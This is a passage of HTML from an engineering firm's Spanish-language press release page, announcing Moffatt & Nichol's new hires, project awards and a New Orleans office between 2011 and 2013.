equipo laboral de Luisiana ha crecido para incluir ingenieros costeros, civiles, hidráulicos, estructurales y mecánicos altamente capacitados y estamos creciendo rápido”, comentó el Sr. Hird. Estamos orgullosos de continuar sirviendo nuestros clientes locales con esta capacidad ampliada. \r\n\r\nUbicado en la ribera del río Mississippi, New Orleans es un centro de transporte crucial y un centro de distribución para el comercio que se mueve por agua. La nueva oficina servirá como instalación clave para suplir las necesidades de los clientes de Moffatt & Nichol localmente y a nivel mundial. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"18\">PhD Gerald McCrain se integra a Moffatt & Nichol como especialista ambiental Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\"><img title=\"Gerald McCrain\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\" alt=\"\" width=\"130\" height=\"182\" /></a>\r\nRaleigh, Carolina del Norte. Diciembre 5, 2013 – Moffatt & Nichol le da la bienvenida a Jerry McCrain, para ejercer el cargo de especialista ambiental senior en nuestras oficinas de Raleigh. El doctor McCrain aporta más de 38 años de continua y progresiva experiencia en el campo, al igual que su pasión por el manejo ambiental. Ha colaborado con la planeación y manejo de importantes proyectos ambientales para el Departamento de Transporte de Carolina del Norte, al igual que para oficinas federales, del estado y agencias locales, aportando su experiencia a numerosos análisis de cuencas, humedales y estudios ambientales. También ha trabajado extensamente con el Triangle Transit Authority, con la Agencia de Protección del Ambiente y con el Programa de Mejoras al Ecosistema de Carolina del Norte. \r\n\r\nSus servicios ambientales más frecuentes para proyectos de transporte han incluido administración de proyectos, planeación estratégica, procesos y cumplimientos de regulaciones ambientales tales como el National Environmental Policy Act (NEPA), adquisición y cumplimiento de permisos, apoyo y asistencia a políticas y programas, evaluación funcional, evaluación de sitio, estudios de comunidad (humedales y terrestres), delineación, restauración y mitigación, y coordinación con agencias federales, estatales y locales. \r\n\r\nEl Dr. McCrain se describe como un facilitador en procesos en los que existen fuertes opiniones en ambos lados. “Creo en hacer las cosas de la manera correcta sin comprometer otros aspectos de nuestra vida”, comentó. “Debe haber un enfoque de “amplio espectro” para integrar la ciencia y la ingeniería. Moffatt & Nichol comparte esta visión y estoy orgulloso de sumarme a este equipo”.\r\n\r\nEl Dr. McCrain obtuvo su título de Maestría en Ciencias Botánicas en North Carolina State University (NCSU). También posee un doctorado en Manejo de Recursos del NCSU. Sus afiliaciones profesionales incluyen la Sociedad de Científicos de Humedales, la Academia de Profesionales Ambientales Certificados y la Sociedad de Investigación Científica Sigma Xi.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"17\">Kerry Simpson se une a Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\"><img title=\"Kerry Simpson\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\" alt=\"\" width=\"154\" height=\"214\" /></a>\r\nLONG BEACH, CA, Diciembre 3, 2013 – Moffatt & Nichol se complace en anunciar que el ingeniero Kerry Simpson se une a nuestra firma como miembro clave para la práctica de terminales marítimas. El Sr. Simpson tiene más de 23 años de experiencia enfocada en la planeación, análisis y diseño de terminales portuarias, incluyendo terminales ferroviarias y de contenedores. Ha trabajado extensamente con autoridades portuarias, compañías navieras, operadores de terminales, compañías ferroviarias y proveedores de equipos y sistemas. Su experiencia abarca desde planeación conceptual hasta la culminación de la construcción y ha realizado análisis y planeación para numerosas terminales de contenedores, incluyendo patios de almacenaje, patios de ferrocarril intermodal, garitas, edificios y seguridad en sitio. Ha estado involucrado en la planeación y diseño de numerosas terminales con un rendimiento anual superior a los 2,000,000 de TEUs y posee amplios conocimientos en diseño, diversos modos operativos para terminales y todo tipo de equipo para manejo de contenedores. \r\n\r\n“La amplia y profunda experiencia de Kerry en planeación portuaria, análisis y diseño es una valiosa adición a nuestras capacidades integradas” comentó Richard Steinke, líder de la práctica de terminales marítimas para Moffatt & Nichol. “Estamos contentos de tenerlo a bordo para proveer apoyo a nuestros clientes a nivel mundial”.\r\n\r\nEl señor Simpson obtuvo su título de maestría en Ingeniería Civil en California State University y su título de licenciatura en Ciencias Oceanográficas en Humbold State University. Es también miembro activo de Sociedad Americana de Ingenieros Civiles.\r\n\r\nSobre su transición a Moffatt & Nichol, el Sr. Simpson comentó: “esta es una gran oportunidad de participar en los futuros emprendimientos de Moffatt & Nichol y de continuar desarrollando puertos de primera clase alrededor del mundo. Estoy orgulloso de sumarme a este equipo”. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera 